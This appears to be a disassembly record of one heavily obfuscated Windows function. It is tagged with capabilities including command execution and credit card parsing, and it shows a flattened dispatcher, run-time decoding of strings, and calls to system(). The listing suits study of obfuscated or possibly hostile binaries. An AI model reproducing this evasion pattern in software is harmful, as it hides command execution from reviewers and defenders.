Function at 0x1400bf01d
Capabilities:
Authenticate hmac
Execute command
Get common file path
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x78daf8e1
pushf
not eax
add eax, 0x824fde35
xor eax, 0xd2baa940
rol eax, 0x97
popf
pushf
not eax
add eax, 0xac92efc8
xor eax, 0xa2a508a1
rol eax, 0x4d
popf
cmp eax, 0x29
jne 0x1400bf05a
popf
pop rax
jmp 0x1400c1dca
cmp eax, 0x48
jne 0x1400bf069
popf
pop rax
jmp 0x1400c410d
cmp eax, 0x3f
jne 0x1400bf078
popf
pop rax
jmp 0x1400c3c19
cmp eax, 1
jne 0x1400bf087
popf
pop rax
jmp 0x1400bfa8a
cmp eax, 0x4a
jne 0x1400bf096
popf
pop rax
jmp 0x1400c439e
cmp eax, 0x1a
jne 0x1400bf0a5
popf
pop rax
jmp 0x1400c0ec6
cmp eax, 0x44
jne 0x1400bf0b4
popf
pop rax
jmp 0x1400c3f59
cmp eax, 0x31
jne 0x1400bf0c3
popf
pop rax
jmp 0x1400c2c63
cmp eax, 0x40
jne 0x1400bf0d2
popf
pop rax
jmp 0x1400c3c95
cmp eax, 8
jne 0x1400bf0e1
popf
pop rax
jmp 0x1400bff63
cmp eax, 0x2a
jne 0x1400bf0f0
popf
pop rax
jmp 0x1400c1e2a
cmp eax, 0x17
jne 0x1400bf0ff
popf
pop rax
jmp 0x1400c0cf1
cmp eax, 0x1c
jne 0x1400bf10e
popf
pop rax
jmp 0x1400c0fb5
cmp eax, 0x2e
jne 0x1400bf11d
popf
pop rax
jmp 0x1400c2288
cmp eax, 0x4c
jne 0x1400bf12c
popf
pop rax
jmp 0x1400c447a
cmp eax, 0x2b
jne 0x1400bf13b
popf
pop rax
jmp 0x1400c20be
cmp eax, 0x1b
jne 0x1400bf14a
popf
pop rax
jmp 0x1400c0f7b
cmp eax, 0x2d
jne 0x1400bf159
popf
pop rax
jmp 0x1400c2228
cmp eax, 0x23
jne 0x1400bf168
popf
pop rax
jmp 0x1400c1270
cmp eax, 0x25
jne 0x1400bf177
popf
pop rax
jmp 0x1400c19f3
cmp eax, 0x43
jne 0x1400bf186
popf
pop rax
jmp 0x1400c3ed0
cmp eax, 0x13
jne 0x1400bf195
popf
pop rax
jmp 0x1400c0a03
cmp eax, 0x33
jne 0x1400bf1a4
popf
pop rax
jmp 0x1400c2d66
cmp eax, 0x24
jne 0x1400bf1b3
popf
pop rax
jmp 0x1400c14a1
cmp eax, 0x1e
jne 0x1400bf1c2
popf
pop rax
jmp 0x1400c10b4
cmp eax, 0xc
jne 0x1400bf1d1
popf
pop rax
jmp 0x1400c0150
cmp eax, 0x26
jne 0x1400bf1e0
popf
pop rax
jmp 0x1400c1a35
cmp eax, 0x27
jne 0x1400bf1ef
popf
pop rax
jmp 0x1400c1ad5
cmp eax, 0x30
jne 0x1400bf1fe
popf
pop rax
jmp 0x1400c2ba9
cmp eax, 0x10
jne 0x1400bf20d
popf
pop rax
jmp 0x1400c03b5
cmp eax, 0x37
jne 0x1400bf21c
popf
pop rax
jmp 0x1400c3625
cmp eax, 9
jne 0x1400bf22b
popf
pop rax
jmp 0x1400c0025
cmp eax, 0x39
jne 0x1400bf23a
popf
pop rax
jmp 0x1400c38aa
cmp eax, 0x16
jne 0x1400bf249
popf
pop rax
jmp 0x1400c0c90
cmp eax, 0x3b
jne 0x1400bf258
popf
pop rax
jmp 0x1400c39f4
cmp eax, 0x4b
jne 0x1400bf267
popf
pop rax
jmp 0x1400c4440
cmp eax, 0x36
jne 0x1400bf276
popf
pop rax
jmp 0x1400c357b
cmp eax, 0x14
jne 0x1400bf285
popf
pop rax
jmp 0x1400c0aac
cmp eax, 0x46
jne 0x1400bf294
popf
pop rax
jmp 0x1400c4011
cmp eax, 0x3d
jne 0x1400bf2a3
popf
pop rax
jmp 0x1400c3b0b
cmp eax, 2
jne 0x1400bf2b2
popf
pop rax
jmp 0x1400bfb62
cmp eax, 0x47
jne 0x1400bf2c1
popf
pop rax
jmp 0x1400c40ad
cmp eax, 0x41
jne 0x1400bf2d0
popf
pop rax
jmp 0x1400c3ccf
cmp eax, 0x11
jne 0x1400bf2df
popf
pop rax
jmp 0x1400c04c8
cmp eax, 0x35
jne 0x1400bf2ee
popf
pop rax
jmp 0x1400c314b
cmp eax, 0x3a
jne 0x1400bf2fd
popf
pop rax
jmp 0x1400c3952
cmp eax, 0x12
jne 0x1400bf30c
popf
pop rax
jmp 0x1400c0650
cmp eax, 0x21
jne 0x1400bf31b
popf
pop rax
jmp 0x1400c1206
cmp eax, 0x38
jne 0x1400bf32a
popf
pop rax
jmp 0x1400c36ce
cmp eax, 0xb
jne 0x1400bf339
popf
pop rax
jmp 0x1400c0101
cmp eax, 0xf
jne 0x1400bf348
popf
pop rax
jmp 0x1400c037a
cmp eax, 0x15
jne 0x1400bf357
popf
pop rax
jmp 0x1400c0be8
cmp eax, 5
jne 0x1400bf366
popf
pop rax
jmp 0x1400bfe15
cmp eax, 6
jne 0x1400bf375
popf
pop rax
jmp 0x1400bfe63
cmp eax, 0x4e
jne 0x1400bf384
popf
pop rax
jmp 0x1400c4588
cmp eax, 0x49
jne 0x1400bf393
popf
pop rax
jmp 0x1400c42fc
cmp eax, 0x1f
jne 0x1400bf3a2
popf
pop rax
jmp 0x1400c113d
cmp eax, 4
jne 0x1400bf3b1
popf
pop rax
jmp 0x1400bfd6d
cmp eax, 0x2f
jne 0x1400bf3c0
popf
pop rax
jmp 0x1400c22d3
cmp eax, 0x4d
jne 0x1400bf3cf
popf
pop rax
jmp 0x1400c44d7
cmp eax, 0x3e
jne 0x1400bf3de
popf
pop rax
jmp 0x1400c3b77
cmp eax, 0x45
jne 0x1400bf3ed
popf
pop rax
jmp 0x1400c3fb9
cmp eax, 0x2c
jne 0x1400bf3fc
popf
pop rax
jmp 0x1400c2173
cmp eax, 3
jne 0x1400bf40b
popf
pop rax
jmp 0x1400bfc0b
cmp eax, 0x19
jne 0x1400bf41a
popf
pop rax
jmp 0x1400c0e2a
cmp eax, 0x1d
jne 0x1400bf429
popf
pop rax
jmp 0x1400c0ff1
cmp eax, 0x34
jne 0x1400bf438
popf
pop rax
jmp 0x1400c2dfa
cmp eax, 0x32
jne 0x1400bf447
popf
pop rax
jmp 0x1400c2d08
cmp eax, 0xe
jne 0x1400bf456
popf
pop rax
jmp 0x1400c02af
cmp eax, 0x42
jne 0x1400bf465
popf
pop rax
jmp 0x1400c3d07
cmp eax, 7
jne 0x1400bf474
popf
pop rax
jmp 0x1400bfef8
cmp eax, 0x20
jne 0x1400bf483
popf
pop rax
jmp 0x1400c11b9
cmp eax, 0
jne 0x1400bf492
popf
pop rax
jmp 0x1400bf4ec
cmp eax, 0x3c
jne 0x1400bf4a1
popf
pop rax
jmp 0x1400c3aa8
cmp eax, 0xd
jne 0x1400bf4b0
popf
pop rax
jmp 0x1400c0200
cmp eax, 0xa
jne 0x1400bf4bf
popf
pop rax
jmp 0x1400c00c7
cmp eax, 0x18
jne 0x1400bf4ce
popf
pop rax
jmp 0x1400c0d86
cmp eax, 0x28
jne 0x1400bf4dd
popf
pop rax
jmp 0x1400c1d23
cmp eax, 0x22
jne 0x1400bf4ec
popf
pop rax
jmp 0x1400c1267
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x140092080]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor r14d, r14d
mov dword [rbp + 0x360], r14d
movabs rax, 0xe675ca113f7bc44c
pushf
not rax
add rax, 0x6ea60994
xor rax, 0x70b991ea
rol rax, 2
popf
pushf
not rax
add rax, 0x4ee58614
xor rax, 0x4f93b008
rol rax, 0x10
popf
pushf
not rax
add rax, 0x63dd2ae2
xor rax, 0x4638a4fc
rol rax, 0x40
popf
mov qword [rbp + 0x330], rax
movabs rax, 0xf0cede54152efa6f
pushf
not rax
add rax, 0x53e41015
xor rax, 0x52911083
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x42e78182
xor rax, 0x65da162e
rol rax, 0x54
popf
pushf
not rax
add rax, 0x520edbfc
xor rax, 0x43755bf3
rol rax, 0xb0
popf
mov qword [rbp + 0x338], rax
movabs rsi, 0xeb0bdb7067d15ded
pushf
not rsi
add rsi, 0x5c92b44c
xor rsi, 0x5ee2c3c2
rol rsi, 0x22
popf
pushf
not rsi
add rsi, 0x6019b1f1
xor rsi, 0x73eedab2
rol rsi, 0x8e
popf
pushf
not rsi
add rsi, 0x57160074
xor rsi, 0x4de30085
rol rsi, 0xb0
popf
pushf
not rsi
add rsi, 0x42f07448
xor rsi, 0x4f8d8b6d
rol rsi, 0x71
popf
mov qword [rbp + 0x360], rsi
movabs rdi, 0x282ff485c50fd200
pushf
not rdi
add rdi, 0x6568cab9
xor rdi, 0x453a39a6
rol rdi, 0x57
popf
pushf
not rdi
add rdi, 0x428022bc
xor rdi, 0x4d05d7fa
rol rdi, 0xc
popf
pushf
not rdi
add rdi, 0x547a4bb6
xor rdi, 0x6d8c57d0
rol rdi, 0xd8
popf
pushf
not rdi
add rdi, 0x7c43c6ff
xor rdi, 0x6c1f84e6
rol rdi, 0xc8
popf
mov qword [rbp + 0x368], rdi
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
push rbx
not rbx
sub rcx, rbx
pop rbx
sub rcx, 1
mov dl, 0x6d
pushf
not dl
add dl, 0xb9
xor dl, 0x68
rol dl, 0xe0
popf
pushf
not dl
add dl, 0xa9
xor dl, 0x25
rol dl, 0x8c
popf
jmp 0x1400bf722
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
mov rcx, rbx
call fcn.1400b8c7b
movabs rbx, 0x2044d227f04cd193
pushf
not rbx
add rbx, 0x66f2286b
xor rbx, 0x53a2ea3b
rol rbx, 0x78
popf
pushf
not rbx
add rbx, 0x6a0f98ec
xor rbx, 0x5451b28a
rol rbx, 0xde
popf
pushf
not rbx
add rbx, 0x4567bee3
xor rbx, 0x5c317658
rol rbx, 0xba
popf
pushf
not rbx
add rbx, 0x4e2fac27
xor rbx, 0x4eb60602
rol rbx, 0x9a
popf
mov qword [rbp + 0x330], rbx
mov qword [rbp + 0x338], rdi
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rdi
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
jmp 0x1400bf7dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x2f5c394ccb4fcc53
pushf
not rax
add rax, 0x6f7a6968
xor rax, 0x739183bf
rol rax, 0x13
popf
pushf
not rax
add rax, 0x7e3f7508
xor rax, 0x79b6a5bb
rol rax, 0x67
popf
pushf
not rax
add rax, 0x69ef6c06
xor rax, 0x46b2b42a
rol rax, 0xa9
popf
mov qword [rbp + 0x380], rax
movabs rax, 0x54a038c138734d77
pushf
not rax
add rax, 0x61a637b5
xor rax, 0x7d60b885
rol rax, 0x82
popf
pushf
not rax
add rax, 0x6a1dc37b
xor rax, 0x436c4422
rol rax, 0x5f
popf
mov qword [rbp + 0x388], rax
movabs rcx, 0x1c8d56bb14b38b47
pushf
not rcx
add rcx, 0x691c6bed
xor rcx, 0x75c34c96
rol rcx, 0xf0
popf
pushf
not rcx
add rcx, 0x459fe36b
xor rcx, 0x466ce055
rol rcx, 0xad
popf
pushf
not rcx
add rcx, 0x5be20a91
xor rcx, 0x68b12c79
rol rcx, 0xb0
popf
pushf
not rcx
add rcx, 0x6013577e
xor rcx, 0x438f7d03
rol rcx, 0x5b
popf
mov qword [rbp + 0x390], rcx
movabs rax, 0xec91e194d8ce9c63
pushf
not rax
add rax, 0x7202fb0d
xor rax, 0x44b4412f
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x6752e11c
xor rax, 0x52d22d72
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x4182a331
xor rax, 0x687e4efd
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x59dd0571
xor rax, 0x7bc4a00b
rol rax, 0xbd
popf
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x3d0], rsi
mov qword [rbp + 0x3d8], rdi
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rax
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x390], xmm1
lea rcx, [rbp + 0x380]
call fcn.1400f097e
lea rdx, [0x1947c397f]
pushf
sub rdx, 0x5471cd3f
popf
lea rcx, [rsp + 0x50]
call fcn.1400fd05e
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140018880
nop
mov qword [rbp + 0x338], rdi
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rdi
cmp byte [rbp + 0x320], r14b
je 0x1400bfa31
push rax
pushf
mov eax, 0xf7d947f3
pushf
not eax
add eax, 0x9822239e
xor eax, 0xe29acf16
rol eax, 0x31
popf
pushf
not eax
add eax, 0xea97b2e8
xor eax, 0xc11f2d41
rol eax, 0x3f
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x7a4a32b6
pushf
not eax
add eax, 0xb41f92e5
xor eax, 0xa4f3047c
rol eax, 0x30
popf
pushf
not eax
add eax, 0xaae1162c
xor eax, 0xa6fe5d0c
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa932d831
xor eax, 0xb23904a6
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xd6cb3bd8
xor eax, 0xa4948700
rol eax, 0x6b
popf
jmp 0x1400bf04b
movabs rax, 0x26e36155d4bbb9cb
pushf
not rax
add rax, 0x6a3a289b
xor rax, 0x6f17ef6d
rol rax, 0x31
popf
pushf
not rax
add rax, 0x79f4d0d0
xor rax, 0x408b368f
rol rax, 0x59
popf
mov qword [rbp + 0x330], rax
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x390], r14
mov qword [rbp + 0x398], r14
lea rax, [rbp + 0x330]
mov rdi, 0xffffffffffffffff
mov r8, rdi
push rax
pushf
mov eax, 0xdb27737c
pushf
not eax
add eax, 0xb328ab32
xor eax, 0xed785f5b
rol eax, 0x34
popf
pushf
not eax
add eax, 0xd999d542
xor eax, 0x99cbaf17
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xcdfa6ed5
xor eax, 0xa048082d
rol eax, 0x14
popf
pushf
not eax
add eax, 0x9f6590f2
xor eax, 0xc9a94999
rol eax, 0x9c
popf
jmp 0x1400bf04b
inc r8
cmp byte [rax + r8], 0
jne 0x1400bfbb2
push rax
pushf
mov eax, 0x41d8e1fb
pushf
not eax
add eax, 0x945988b6
xor eax, 0xa9d8730e
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xfdc1c88c
xor eax, 0x9ee575fa
rol eax, 0x58
popf
pushf
not eax
add eax, 0xd943f0d9
xor eax, 0xb478ee62
rol eax, 0x3f
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x78942b91
pushf
not eax
add eax, 0x9a62abe8
xor eax, 0xd539ae82
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd78155e1
xor eax, 0xc0dee410
rol eax, 0x92
popf
pushf
not eax
add eax, 0x9fbc2112
xor eax, 0xe54c65c7
rol eax, 0x67
popf
pushf
not eax
add eax, 0xde37c7fc
xor eax, 0xda1e8b40
rol eax, 0xc
popf
jmp 0x1400bf04b
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x380]
call fcn.1400faaf3
nop
lea rdx, [rbp + 0x298]
lea rcx, [rbp - 0x30]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp - 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x10]
call fcn.1400fd05e
nop
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x30]
call fcn.1400fd05e
mov eax, dword [rbp + 0x318]
mov dword [rbp + 0x50], eax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x330]
call fcn.1400fd05e
lea rdx, [rbp + 0x380]
mov r13, qword [rbp + 0x398]
cmp r13, 0xf
seta byte [rsp + 0x40]
mov rbx, qword [rbp + 0x380]
cmova rdx, rbx
lea rcx, [rbp + 0x330]
mov r15, qword [rbp + 0x348]
cmp r15, 0xf
seta r12b
mov rsi, qword [rbp + 0x330]
cmova rcx, rsi
mov r8, qword [rbp + 0x340]
cmp r8, qword [rbp + 0x390]
jne 0x1400bfd27
push rax
pushf
mov eax, 0x55915de8
pushf
not eax
add eax, 0x98db5f06
xor eax, 0xebddbbb5
rol eax, 0x40
popf
pushf
not eax
add eax, 0xac1383b9
xor eax, 0x99e36c1e
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xee49228e
xor eax, 0x90c5f3f8
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb1e9077d
xor eax, 0xf526fe1a
rol eax, 0x14
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xdad96b92
pushf
not eax
add eax, 0xc2d6031b
xor eax, 0xf3c207e7
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xd3d3af91
xor eax, 0x8c6bcb65
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x905d0281
xor eax, 0xc7f3be28
rol eax, 0x2c
popf
jmp 0x1400bf04b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400bfdbc
push rax
pushf
mov eax, 0x754f82e1
pushf
not eax
add eax, 0xa97b649e
xor eax, 0xd8bcf161
rol eax, 0x41
popf
pushf
not eax
add eax, 0xa8a88ba7
xor eax, 0xb6ecf258
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x95740cb2
xor eax, 0xd8a8bbd8
rol eax, 0x38
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xca5e0673
pushf
not eax
add eax, 0xb8935243
xor eax, 0x8533fe7f
rol eax, 0x92
popf
pushf
not eax
add eax, 0x971527c2
xor eax, 0xfb846c23
rol eax, 4
popf
pushf
not eax
add eax, 0xda4c6743
xor eax, 0xc871058b
rol eax, 0x66
popf
pushf
not eax
add eax, 0xd45ab254
xor eax, 0xa95fd91e
rol eax, 0x37
popf
jmp 0x1400bf04b
xor r14b, r14b
jmp 0x1400bfef8
mov r14b, 0x45
pushf
not r14b
add r14b, 0x6a
xor r14b, 0x98
rol r14b, 0xc0
popf
pushf
not r14b
add r14b, 0xa3
xor r14b, 0x44
rol r14b, 0x17
popf
pushf
not r14b
add r14b, 0xc6
xor r14b, 0x64
rol r14b, 0xc4
popf
push rax
pushf
mov eax, 0x21f18fbb
pushf
not eax
add eax, 0xf6b36f5c
xor eax, 0xbc98528b
rol eax, 0x16
popf
pushf
not eax
add eax, 0x992b9163
xor eax, 0xfe7ba81e
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x953772ae
xor eax, 0xd7fdcd8e
rol eax, 0x13
popf
pushf
not eax
add eax, 0x86e9211d
xor eax, 0xc86ed521
rol eax, 0x93
popf
jmp 0x1400bf04b
test r12b, r12b
je 0x1400bff30
push rax
pushf
mov eax, 0x49d7f4b5
pushf
not eax
add eax, 0xd9ff5d1c
xor eax, 0xbe04dd2f
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x897c8ed6
xor eax, 0xf720c76b
rol eax, 0xd4
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x2430fade
pushf
not eax
add eax, 0x9d83228b
xor eax, 0xd785c912
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x88da163e
xor eax, 0xd2dea692
rol eax, 0xd4
popf
jmp 0x1400bf04b
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400bffcc
push rax
pushf
mov eax, 0x7aa7ca51
pushf
not eax
add eax, 0xb7b84ab8
xor eax, 0xa78e37d0
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xd4d7bf52
xor eax, 0xbd35f91f
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb58c6275
xor eax, 0xb727c418
rol eax, 0x27
popf
pushf
not eax
add eax, 0xa3efb91b
xor eax, 0x8b637fd2
rol eax, 0xdf
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x810d8b82
pushf
not eax
add eax, 0xce19a9e5
xor eax, 0xa6c75344
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x896a9614
xor eax, 0x89a923e0
rol eax, 0xb
popf
pushf
not eax
add eax, 0x8a5700e6
xor eax, 0xe5ac3bef
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf247defa
xor eax, 0xa9bd5a65
rol eax, 0xa8
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c0080
push rax
pushf
mov eax, 0xbb119954
pushf
not eax
add eax, 0xd100cd1d
xor eax, 0xb3480eee
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xdf79a2f7
xor eax, 0xfab9ef06
rol eax, 0x76
popf
pushf
not eax
add eax, 0xd799fac0
xor eax, 0xcbf60d0f
rol eax, 0x89
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x2d6643aa
pushf
not eax
add eax, 0xa6390996
xor eax, 0xe688be7c
rol eax, 0x62
popf
pushf
not eax
add eax, 0x8aa6d6c1
xor eax, 0x918785ab
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xef42dd2e
xor eax, 0x991401bb
rol eax, 0xe7
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400dff78
nop
push rax
pushf
mov eax, 0xbfe8b836
pushf
not eax
add eax, 0x96953fbd
xor eax, 0x9e7170b0
rol eax, 0xef
popf
pushf
not eax
add eax, 0xfc7500d9
xor eax, 0xf5d7481d
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xa08f62d9
xor eax, 0xa1ed91ca
rol eax, 0x7b
popf
jmp 0x1400bf04b
lea rcx, [rbp - 0x30]
call fcn.140017d70
nop
cmp byte [rsp + 0x40], 0
je 0x1400c01ba
push rax
pushf
mov eax, 0xafcd2159
pushf
not eax
add eax, 0xe495b8d8
xor eax, 0x8afab727
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xf32c18c9
xor eax, 0xa3ebccb1
rol eax, 0x11
popf
pushf
not eax
add eax, 0xba593a4c
xor eax, 0xd0c60984
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xf67a7400
xor eax, 0xe6d0bc14
rol eax, 0x82
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x7b5d81bb
pushf
not eax
add eax, 0x8fa4032f
xor eax, 0xa2278955
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x89504d55
xor eax, 0x94dd92d0
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xbfc75d55
xor eax, 0xf1d35c20
rol eax, 0x43
popf
jmp 0x1400bf04b
lea rdx, [r13 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400c0269
push rax
pushf
mov eax, 0xdc52d52a
pushf
not eax
add eax, 0xd6d62901
xor eax, 0xc53b5c0a
rol eax, 0x14
popf
pushf
not eax
add eax, 0xb280d206
xor eax, 0xb55ec30b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xb504b28b
xor eax, 0xc2e0e923
rol eax, 0x64
popf
pushf
not eax
add eax, 0xcc3149a6
xor eax, 0x9504173c
rol eax, 0xc
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xd15477f7
pushf
not eax
add eax, 0xa4bf7bc2
xor eax, 0xae7fe189
rol eax, 0x17
popf
pushf
not eax
add eax, 0xfff51ead
xor eax, 0x92ff27d9
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd391dd28
xor eax, 0x86c83745
rol eax, 0xb7
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c0321
push rax
pushf
mov eax, 0xa71b5984
pushf
not eax
add eax, 0xf9d0297a
xor eax, 0xf263783c
rol eax, 0x78
popf
pushf
not eax
add eax, 0xf29577d7
xor eax, 0xbb524e48
rol eax, 0x28
popf
pushf
not eax
add eax, 0x968fe079
xor eax, 0xf5f2fae3
rol eax, 0x67
popf
pushf
not eax
add eax, 0xdad92c7c
xor eax, 0xb120266e
rol eax, 0x18
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xd86d4bae
pushf
not eax
add eax, 0xc8b06b27
xor eax, 0x846705de
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc1b0a0c9
xor eax, 0xbf6630d9
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xcb7a8b48
xor eax, 0xda18682c
rol eax, 0x45
popf
pushf
not eax
add eax, 0xfd95c2d0
xor eax, 0xf7a3ea1e
rol eax, 0x30
popf
jmp 0x1400bf04b
mov rcx, rbx
call fcn.1400dff78
push rax
pushf
mov eax, 0x86ac69a
pushf
not eax
add eax, 0xa6b3abfa
xor eax, 0xce07cc5f
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xc86959d3
xor eax, 0xa3494fc9
rol eax, 0x86
popf
jmp 0x1400bf04b
movabs rbx, 0xffa8b60e1dab81d
pushf
not rbx
add rbx, 0x42f3b1fa
xor rbx, 0x5f2a001b
rol rbx, 0xa0
popf
pushf
not rbx
add rbx, 0x5822413d
xor rbx, 0x41e94081
rol rbx, 0xe2
popf
movabs rsi, 0x48f1a6ab575dfb0
pushf
not rsi
add rsi, 0x56453da3
xor rsi, 0x51106467
rol rsi, 0x12
popf
pushf
not rsi
add rsi, 0x7723e36c
xor rsi, 0x7ab72197
rol rsi, 0x49
popf
pushf
not rsi
add rsi, 0x7ee81516
xor rsi, 0x5feb5e18
rol rsi, 8
popf
test r14b, r14b
je 0x1400c0495
push rax
pushf
mov eax, 0x9896c021
pushf
not eax
add eax, 0xd0ab5731
xor eax, 0xaa3940fd
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc97bb138
xor eax, 0x8e83bbe1
rol eax, 0x21
popf
pushf
not eax
add eax, 0xdfec0ef3
xor eax, 0x9986682f
rol eax, 0x45
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x80179c86
pushf
not eax
add eax, 0xf160a8fb
xor eax, 0xcb976eab
rol eax, 0xed
popf
pushf
not eax
add eax, 0x90c437fb
xor eax, 0xc46842df
rol eax, 0x3b
popf
jmp 0x1400bf04b
movabs rax, 0xdf0577554becf166
pushf
not rax
add rax, 0x7730ec23
xor rax, 0x746ba8d2
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x680a297d
xor rax, 0x68fd00da
rol rax, 0x47
popf
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rbx
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
jmp 0x1400c053b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x4fdbafad038bda3b
pushf
not rax
add rax, 0x5d9b8525
xor rax, 0x563c7f9e
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x40a53fe7
xor rax, 0x6b390909
rol rax, 1
popf
pushf
not rax
add rax, 0x4974a714
xor rax, 0x73d8719a
rol rax, 0x47
popf
mov qword [rbp + 0x330], rax
movabs rax, 0x458c1e4a9b5142da
pushf
not rax
add rax, 0x442a33b8
xor rax, 0x6ca04c6b
rol rax, 0x44
popf
pushf
not rax
add rax, 0x79d08533
xor rax, 0x5a9ff358
rol rax, 0xb6
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
jmp 0x1400c142a
movabs rax, 0x2f03cc9b8f81ffbc
pushf
not rax
add rax, 0x67b9269d
xor rax, 0x77a694b3
rol rax, 0xc2
popf
pushf
not rax
add rax, 0x7a6e9468
xor rax, 0x5bb4a4b4
rol rax, 0x9a
popf
mov qword [rbp + 0x330], rax
movabs rax, 0xe4127391ee2f08c6
pushf
not rax
add rax, 0x66783261
xor rax, 0x79f76458
rol rax, 0x90
popf
pushf
not rax
add rax, 0x4ca101df
xor rax, 0x7a817234
rol rax, 0x36
popf
pushf
not rax
add rax, 0x5d1e0714
xor rax, 0x725a0e5f
rol rax, 0xf1
popf
mov qword [rbp + 0x338], rax
movabs rax, 0x8d89adefcfde8112
pushf
not rax
add rax, 0x6184f3f0
xor rax, 0x5e074d07
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x493d44e7
xor rax, 0x7ae1eb98
